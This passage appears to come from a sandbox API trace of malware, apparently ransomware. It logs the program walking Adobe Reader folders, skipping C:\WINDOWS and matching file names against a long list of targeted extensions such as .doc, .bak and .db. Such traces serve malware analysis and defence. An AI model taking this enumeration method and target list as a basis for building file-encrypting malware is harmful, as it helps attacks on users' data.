hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0198.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.351] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0198.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.352] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0198.352] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.352] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0198.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.353] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0198.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.353] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0198.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.353] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0198.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.354] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0198.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.354] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0198.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.354] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0198.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.356] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.356] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0198.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.356] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0198.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0198.357] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0198.357] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0198.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0198.357] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0198.357] FindClose (in: hFindFile=0x4420220 | out: hFindFile=0x4420220) returned 1 [0198.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0198.358] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0198.358] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0198.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0198.358] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0198.358] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0198.358] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 1 [0198.358] lstrlenW (lpString="app-api") returned 7 [0198.358] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="app-api") returned 1 [0198.358] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4591d60 [0198.358] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0198.358] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44205a0 [0198.359] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0198.359] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0198.359] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0198.359] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 1 [0198.359] lstrlenW (lpString="dev") returned 3 [0198.359] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0198.359] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x45a1d68 [0198.359] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0198.359] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44205e0 [0198.359] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.359] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 1 [0198.359] lstrlenW (lpString="app-api.js") returned 10 [0198.359] lstrlenW (lpString=".1cd") returned 4 [0198.360] lstrcmpiW (lpString1=".1cd", lpString2="i.js") returned -1 [0198.360] lstrlenW (lpString=".3ds") returned 4 [0198.360] lstrcmpiW (lpString1=".3ds", lpString2="i.js") returned -1 [0198.360] lstrlenW (lpString=".3fr") returned 4 [0198.360] lstrcmpiW (lpString1=".3fr", lpString2="i.js") returned -1 [0198.360] lstrlenW (lpString=".3g2") returned 4 [0198.360] lstrcmpiW (lpString1=".3g2", lpString2="i.js") returned -1 [0198.360] lstrlenW (lpString=".3gp") returned 4 [0198.360] lstrcmpiW (lpString1=".3gp", lpString2="i.js") returned -1 [0198.360] lstrlenW (lpString=".7z") returned 3 [0198.360] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0198.360] lstrlenW (lpString=".accda") returned 6 [0198.360] lstrcmpiW (lpString1=".accda", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".accdb") returned 6 [0198.360] lstrcmpiW (lpString1=".accdb", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".accdc") returned 6 [0198.360] lstrcmpiW (lpString1=".accdc", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".accde") returned 6 [0198.360] lstrcmpiW (lpString1=".accde", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".accdt") returned 6 [0198.360] lstrcmpiW (lpString1=".accdt", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".accdw") returned 6 [0198.360] lstrcmpiW (lpString1=".accdw", lpString2="api.js") returned -1 [0198.360] lstrlenW (lpString=".adb") returned 4 [0198.361] lstrcmpiW (lpString1=".adb", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".adp") returned 4 [0198.361] lstrcmpiW (lpString1=".adp", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai") returned 3 [0198.361] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0198.361] lstrlenW (lpString=".ai3") returned 4 [0198.361] lstrcmpiW (lpString1=".ai3", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai4") returned 4 [0198.361] lstrcmpiW (lpString1=".ai4", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai5") returned 4 [0198.361] lstrcmpiW (lpString1=".ai5", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai6") returned 4 [0198.361] lstrcmpiW (lpString1=".ai6", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai7") returned 4 [0198.361] lstrcmpiW (lpString1=".ai7", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".ai8") returned 4 [0198.361] lstrcmpiW (lpString1=".ai8", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".anim") returned 5 [0198.361] lstrcmpiW (lpString1=".anim", lpString2="pi.js") returned -1 [0198.361] lstrlenW (lpString=".arw") returned 4 [0198.361] lstrcmpiW (lpString1=".arw", lpString2="i.js") returned -1 [0198.361] lstrlenW (lpString=".as") returned 3 [0198.361] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0198.361] lstrlenW (lpString=".asa") returned 4 [0198.362] lstrcmpiW (lpString1=".asa", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".asc") returned 4 [0198.362] lstrcmpiW (lpString1=".asc", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".ascx") returned 5 [0198.362] lstrcmpiW (lpString1=".ascx", lpString2="pi.js") returned -1 [0198.362] lstrlenW (lpString=".asm") returned 4 [0198.362] lstrcmpiW (lpString1=".asm", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".asmx") returned 5 [0198.362] lstrcmpiW (lpString1=".asmx", lpString2="pi.js") returned -1 [0198.362] lstrlenW (lpString=".asp") returned 4 [0198.362] lstrcmpiW (lpString1=".asp", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".aspx") returned 5 [0198.362] lstrcmpiW (lpString1=".aspx", lpString2="pi.js") returned -1 [0198.362] lstrlenW (lpString=".asr") returned 4 [0198.362] lstrcmpiW (lpString1=".asr", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".asx") returned 4 [0198.362] lstrcmpiW (lpString1=".asx", lpString2="i.js") returned -1 [0198.362] lstrlenW (lpString=".avi") returned 4 [0198.362] lstrcmpiW (lpString1=".avi", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".avs") returned 4 [0198.363] lstrcmpiW (lpString1=".avs", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".backup") returned 7 [0198.363] lstrcmpiW (lpString1=".backup", lpString2="-api.js") returned -1 [0198.363] lstrlenW (lpString=".bak") returned 4 [0198.363] lstrcmpiW (lpString1=".bak", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".bay") returned 4 [0198.363] lstrcmpiW (lpString1=".bay", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".bd") returned 3 [0198.363] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0198.363] lstrlenW (lpString=".bin") returned 4 [0198.363] lstrcmpiW (lpString1=".bin", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".bmp") returned 4 [0198.363] lstrcmpiW (lpString1=".bmp", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".bz2") returned 4 [0198.363] lstrcmpiW (lpString1=".bz2", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".c") returned 2 [0198.363] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0198.363] lstrlenW (lpString=".cdr") returned 4 [0198.363] lstrcmpiW (lpString1=".cdr", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".cer") returned 4 [0198.363] lstrcmpiW (lpString1=".cer", lpString2="i.js") returned -1 [0198.363] lstrlenW (lpString=".cf") returned 3 [0198.363] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0198.364] lstrlenW (lpString=".cfc") returned 4 [0198.364] lstrcmpiW (lpString1=".cfc", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".cfm") returned 4 [0198.364] lstrcmpiW (lpString1=".cfm", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".cfml") returned 5 [0198.364] lstrcmpiW (lpString1=".cfml", lpString2="pi.js") returned -1 [0198.364] lstrlenW (lpString=".cfu") returned 4 [0198.364] lstrcmpiW (lpString1=".cfu", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".chm") returned 4 [0198.364] lstrcmpiW (lpString1=".chm", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".cin") returned 4 [0198.364] lstrcmpiW (lpString1=".cin", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".class") returned 6 [0198.364] lstrcmpiW (lpString1=".class", lpString2="api.js") returned -1 [0198.364] lstrlenW (lpString=".clx") returned 4 [0198.364] lstrcmpiW (lpString1=".clx", lpString2="i.js") returned -1 [0198.364] lstrlenW (lpString=".config") returned 7 [0198.364] lstrcmpiW (lpString1=".config", lpString2="-api.js") returned -1 [0198.364] lstrlenW (lpString=".cpp") returned 4 [0198.364] lstrcmpiW (lpString1=".cpp", lpString2="i.js") returned -1 [0198.365] lstrlenW (lpString=".cr2") returned 4 [0198.365] lstrcmpiW (lpString1=".cr2", lpString2="i.js") returned -1 [0198.365] lstrlenW (lpString=".crt") returned 4 [0198.365] lstrcmpiW (lpString1=".crt", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".crw") returned 4 [0198.366] lstrcmpiW (lpString1=".crw", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".cs") returned 3 [0198.366] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0198.366] lstrlenW (lpString=".css") returned 4 [0198.366] lstrcmpiW (lpString1=".css", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".csv") returned 4 [0198.366] lstrcmpiW (lpString1=".csv", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".cub") returned 4 [0198.366] lstrcmpiW (lpString1=".cub", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".dae") returned 4 [0198.366] lstrcmpiW (lpString1=".dae", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".dat") returned 4 [0198.366] lstrcmpiW (lpString1=".dat", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".db") returned 3 [0198.366] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0198.366] lstrlenW (lpString=".dbf") returned 4 [0198.366] lstrcmpiW (lpString1=".dbf", lpString2="i.js") returned -1 [0198.366] lstrlenW (lpString=".dbx") returned 4 [0198.367] lstrcmpiW (lpString1=".dbx", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dc3") returned 4 [0198.367] lstrcmpiW (lpString1=".dc3", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dcm") returned 4 [0198.367] lstrcmpiW (lpString1=".dcm", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dcr") returned 4 [0198.367] lstrcmpiW (lpString1=".dcr", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".der") returned 4 [0198.367] lstrcmpiW (lpString1=".der", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dib") returned 4 [0198.367] lstrcmpiW (lpString1=".dib", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dic") returned 4 [0198.367] lstrcmpiW (lpString1=".dic", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".dif") returned 4 [0198.367] lstrcmpiW (lpString1=".dif", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".divx") returned 5 [0198.367] lstrcmpiW (lpString1=".divx", lpString2="pi.js") returned -1 [0198.367] lstrlenW (lpString=".djvu") returned 5 [0198.367] lstrcmpiW (lpString1=".djvu", lpString2="pi.js") returned -1 [0198.367] lstrlenW (lpString=".dng") returned 4 [0198.367] lstrcmpiW (lpString1=".dng", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".doc") returned 4 [0198.367] lstrcmpiW (lpString1=".doc", lpString2="i.js") returned -1 [0198.367] lstrlenW (lpString=".docm") returned 5 [0198.368] lstrcmpiW (lpString1=".docm", lpString2="pi.js") returned -1 [0198.368] lstrlenW (lpString=".docx") returned 5 [0198.368] lstrcmpiW (lpString1=".docx", lpString2="pi.js") returned -1 [0198.368] lstrlenW (lpString=".dot") returned 4 [0198.368] lstrcmpiW (lpString1=".dot", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dotm") returned 5 [0198.368] lstrcmpiW (lpString1=".dotm", lpString2="pi.js") returned -1 [0198.368] lstrlenW (lpString=".dotx") returned 5 [0198.368] lstrcmpiW (lpString1=".dotx", lpString2="pi.js") returned -1 [0198.368] lstrlenW (lpString=".dpx") returned 4 [0198.368] lstrcmpiW (lpString1=".dpx", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dqy") returned 4 [0198.368] lstrcmpiW (lpString1=".dqy", lpString2="i.js") returned -1 [0198.368] lstrlenW (lpString=".dsn") returned 4 [0198.368] lstrcmpiW (lpString1=".dsn", 